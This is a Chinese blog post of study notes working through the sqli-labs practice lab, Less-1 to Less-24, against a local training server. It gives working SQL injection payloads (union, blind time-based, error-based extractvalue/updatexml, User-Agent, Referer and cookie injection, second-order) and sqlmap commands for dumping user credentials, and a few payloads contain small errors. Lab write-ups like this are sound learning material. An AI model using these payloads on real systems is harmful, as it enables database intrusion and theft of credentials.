sqli-labs学习笔记(Less1-Less24)

@TOC

Less-1 GET - Error based - Single quotes - String

select ... from ... where id='$id'

基于union联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=0'

在这里插入图片描述

报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' order by 3--+
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

==(0x3a:0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username)==

在这里插入图片描述

使用sqlmap跑:

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db

  • 跑出当前数据库
在这里插入图片描述

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables

  • 爆出表名
在这里插入图片描述

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

  • 爆出列名
在这里插入图片描述

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C id,password,username --dump

  • 爆出字段


    在这里插入图片描述

Less-2 GET - Error based - Intiger based

当输入id=1‘值时,发现所输入的id值全部都带入进去了

在这里插入图片描述

猜测出:select ... from ... where id=$id
所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:

http://爆出字段
http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+

在这里插入图片描述

Less-3 GET - Error based - Single quotes with twist string

当输入id=1’值时,发现输出的报错会自动加上一个右括号


在这里插入图片描述

猜测出:select ... from ... where id=('$id')
,所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:

在这里插入图片描述

Less-4 GET - Error based - Double Quotes - String

当输入id=1’值时,发现不报错,输入id=1”


在这里插入图片描述

猜测出:select ... from ... where id=("$id")
一一
Payload:

http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,database()--+

在这里插入图片描述

Less-5 GET - Double Injection - Single Quotes - String

当输入id=1’时出现


在这里插入图片描述

猜测其应该是布尔型盲注、报错型注入、时间延迟型盲注中的一种,构造时间延迟盲注payload:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+

发现有明显延迟,说明其是时间延迟注入类型,构造爆破Payload:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5) order by 3--+

时间延迟型手工注入,正确会延迟,错误没有延迟。
本方法中payload = ... ?id=1' and if(报错型payload核心部分,sleep(5),1)--+

在这里插入图片描述

明显延迟,数据库名称长8位

明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

其中 limit 3,1 中3代表第三个表
一个一个字母的爆破,最后

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)--+

明显延迟,说明表名为users

在这里插入图片描述

明显延迟,说明存在username列
同理,爆出password列
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 5,1),8)='password' ,sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
可以更改id值,将所有字段都爆出来

==最好用sqlmap跑,可以直接爆库==

Less-6 GET - Double Injection - Double Quotes - String

双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap

Less-7 GET - Dump into outfile - String

Payload:http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))--+

在这里插入图片描述

正常回显,猜测其sql语句:select ... from ... where id=(('$id'))

在这里插入图片描述

Less-8 GET - Blind - Boolian Based - Single Quotes

输入id=1时,回显,输入id=1’时不回显,当输入id=1’--+时,回显,所以,可以根据回显来判断,方法如less-5

在这里插入图片描述

接下来爆出表名,列名,字段名,按照less-5方法即可

爆出security的表名payload:

按照id排序,改变limit 值,一一爆出所有字段

Less-9 Blind - Time based. - Single Quotes

由此题名可知,是时间延迟盲注型,输入id=1’and sleep(5)--+

在这里插入图片描述

存在明显延迟,说明其sql语句是:select ... from... where id=’$id’

Payload:

Less-10 GET - Blind - Time based - double quotes

只需把了less-9的id=1’改为id=1”即可,其它都与less-9都一样

Less-11 POST - Error Based - Single quotes- String

在这里插入图片描述

输入 ttr,123使用burp抓包:

在这里插入图片描述

使用burp修改参数,重新传参:uname=ttr'or 1=1--+&passwd=123&submit=Submit

成功绕过,入侵内部
判断栏位数:

uname=ttr’ order by 2 --+&passwd=123&submit=Submit
当order by x 后的x为3时,爆错,说明栏位是2

  • 爆出数据库:
    Payload:uname=ttr'union select 1,database()--+&passwd=123&submit=Submit
在这里插入图片描述

爆出数据库名为:security

  • 爆出表名:
    Payload:uname=ttr'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=123&submit=Submit
在这里插入图片描述

爆出表名,其中users是我们需要的

  • 爆出列名:
    Payload:uname=ttr'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&passwd=123&submit=Submit
在这里插入图片描述

列名有==USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password==其中username和password是我们要的

  • 爆出字段:
    Payload:uname=ttr'union select 1,group_concat(username,0x3a,password) from users--+&passwd=123&submit=Submit
在这里插入图片描述

爆出来所有的用户名和密码

Less-12 POST - Error Based - Double quotes- String-with twist

由题目可知,是双引号注入型

在这里插入图片描述

使用burp抓包,然后尝试猜测其SQL语句,经过几次尝试,构造出爆破参数
Payload:uname=ttr") or 1=1--+&passwd=123&submit=Submit

在这里插入图片描述

接下来,就可以直接安装less-11的构造方法一步步爆出数据库名,表名,列名,字段

Less-13 POST - Double Injection - Single quotes- String -twist

当输入正确的用户名和密码时,发现不在输入用户名和密码猜测其应该是布尔型注入

在这里插入图片描述

使用burp抓包,尝试构造payload进行爆破,尝试几次,构造出爆破参数

在这里插入图片描述

既然是布尔类型,那么可以less-5一样,可以一步一步的爆破,可是使用burp这样是不行的,所以,就查找新的思路
百度一下,发现大佬们有使用报错型注入方式的

==报错型注入方式:==
由上可知,SQL语句为 select ... from ... where id=(‘$id’)
报错型注入主要是用extractvalue()函数和concat()函数,先了解一下这个函数
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
extractvalue()能查询字符串的最大长度为32
concat(str,str,...)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
Payload:

  • 爆出数据库名:
    uname=ttr') and extractvalue(1,concat('~',(select database()))) --+&passwd=123&submit=Submit
在这里插入图片描述

以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

  • 爆出表名:
    uname=ttr') and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=123&submit=Submit
在这里插入图片描述
  • 爆出列名:
    uname=ttr') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=123&submit=Submit
在这里插入图片描述

显然没有将所有的列都爆出来,那么可以使用not in()将爆破后面的列名
修改payload如下
uname=ttr') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')))) --+&passwd=123&submit=Submit

在这里插入图片描述

爆出所需列名
uname=ttr') and extractvalue(1,concat('~',(select group_concat(username,0x3a,password) from users))) --+&passwd=123&submit=Submit

  • 爆出字段:


    在这里插入图片描述

    可以看出只是爆出了部分字段,想要爆出所有字段,想上面一样使用 not in()方法

简单方式:==sqlmap方式==

首先,抓包后将文件保存为txt文件


在这里插入图片描述

我将文件命名为less13.txt,并保存到桌面上

在这里插入图片描述

然后,使用sqlmap进行爆破

  • 爆出数据库名:
    sqlmap -r /home/ttr/桌面/less13.txt --dbs

==less13.txt前需要写绝对路径==


在这里插入图片描述
  • 爆出表名:
    sqlmap -r /home/ttr/桌面/less13.txt -D security --tables
在这里插入图片描述
  • 爆出列名:
    sqlmap -r /home/ttr/桌面/less13.txt -D security -T users --columns
在这里插入图片描述
  • 爆出字段:
    sqlmap -r /home/ttr/桌面/less13.txt -D security -T users -C password,username --dump
在这里插入图片描述

Less-14 Double Injection - Single quotes- String -twist

直接使用burp抓包,尝试构造payload,猜测内部sql语句,尝试几次

在这里插入图片描述

所以,payload为:uname=ttr" or 1=1--+&passwd=123&submit=Submit

使用less-13的方式,报错型注入方法
如下:
构造payload爆出数据库:
uname=ttr" and extractvalue(1,concat('~',(select database())))--+&passwd=123&submit=Submit
接下来就像less-13一样,一步步爆出表名,列名,字段即可

也可以使用sqlmap跑

Less-15 POST - Blind- Boolian/time Based - Single quotes

直接使用burp抓包,尝试构造payload,猜测内部sql语句,尝试几次

在这里插入图片描述

时间延迟型注入
按照less-5一样,一步一步的爆破数据库,表名,列名,字段,只是不同的是使用burp抓包一步一步实现

Less-16 POST - Blind- Boolian/Time Based - Double quotes

这一题只需将id=ttr”改为id=ttr”),然后在按照less-15的方式即可。

Less-17 POST - Update Query- Error Based - String

Payload:

  • 爆出数据库版本:
    uname=admin&passwd=admin' or updatexml(1,concat('',version(),''),1)--+&submit=Submit
在这里插入图片描述
  • 爆出数据库名:
    uname=admin&passwd=admin' or updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit
在这里插入图片描述
  • 爆出表名:
在这里插入图片描述

额,爆出的数据显然不是我想要的,我百度了一下,也没有解决,有空再试,如果有哪位大牛知道,欢迎指点。。。

Less-18 POST - Header Injection - Uagent field - Error based

此题为user-agent型注入
Payload:

  • 爆库名:
    User-Agent: ' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '


    在这里插入图片描述
  • 爆出表名:
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '


    在这里插入图片描述
  • 爆出列名:
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) or '


    在这里插入图片描述

    使用 not in()将后面的列名爆出来
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')),0x7e)) or '


    在这里插入图片描述
  • 爆出字段:
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) or '


    在这里插入图片描述

    使用not in()方法可以将所有字段都爆出来

Less-19 POST - Header Injection - Referer field - Error based

此题是referer型注入
Payload:
Referer: 'or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '


在这里插入图片描述

按照less-18的步骤,一步一步爆出表名,列名,字段即可

Less-20 POST - Cookie injections - Uagent field - Error based

此题是cookie型注入
方法一union联合查询:
Cookie: uname=admi' order by 3#


在这里插入图片描述

当order by x后为3时,不报错,当x为4时,报错,说明栏位为3
Payload:

  • 爆库名:
    Cookie: uname=admi' union select 1,2,database()#
  • 爆表名:
    Cookie: uname=admi' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 爆列名:
    Cookie: uname=admi' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='users'#
  • 爆字段:
    Cookie: uname=admi' union select 1,2, group_concat(username,0x3a,password) from users#

方法二报错型注入:
Payload:

  • 爆库名:
    Cookie: uname=admin' or updatexml(1,concat(0x7e,database(),0x7e),1)#
  • 爆表名:
    Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
  • 爆列名:
    Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')),0x7e),1)#
  • 爆字段:
    Cookie:uname=admin' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)#
    如果想爆出所有字段,使用not in()方法

Less-21 Cookie Injection- Error Based- complex - string

输入admin,admin


在这里插入图片描述

使用burp抓包,将payload进行base64加密后安装less-20的方法进行爆破即可

Less-22 Cookie Injection- Error Based- Double Quotes - string

Less-22和less-20,less-21的方法一样,不同的是payload改为以uname=admi”开头即可

Less-23 GET - Error based - strip comments

此题过滤了字符 #,- ,这样就不能使用#或者--+进行截断,只能构造闭合型payload

此题也可使用报错型注入法,也可使用sqlmap跑

Less-24 Second Degree Injections Real treat -Store Injections

此题为二次注入,二次注入的思路为:首先在数据库中插入恶意数据,在插入过程中,对其中的特殊字符进行了相应的转义,保存在数据库中的就是自己输入的原始数据,开发者默认数据库中的数据,都是安全的数据,因此,在取出数据库中的恶意数据时,不在进行转义过程,从而造成数据恶意更改。

在这里插入图片描述

输入各种payload,发现一律报错,查看源码

在这里插入图片描述

mysql_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。所以,payload中的特殊字符就会直接进行转义
直接注册新用户,username=admin’#
但是查看注册代码可以发现

在这里插入图片描述

同样对特殊字符转义处理


在这里插入图片描述

但是从上面可以看出,写到数据库的是原始内容
当登录账号admin’#后,修改密码


在这里插入图片描述

查看数据库,发现账号admin的密码由原来的123456修改为666,而注册的账号并没有变化
在这里插入图片描述

出现变化的原因主要是

在这里插入图片描述
pass' where username='curr_pass' ";
上面的语句在实际执行中变化为:
pass' where username='admin’#' and password='$curr_pass' ";

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,928评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,192评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,468评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,186评论 1 286
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,295评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,374评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,403评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,186评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,610评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,906评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,075评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,755评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,393评论 3 320
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,079评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,313评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,934评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,963评论 2 351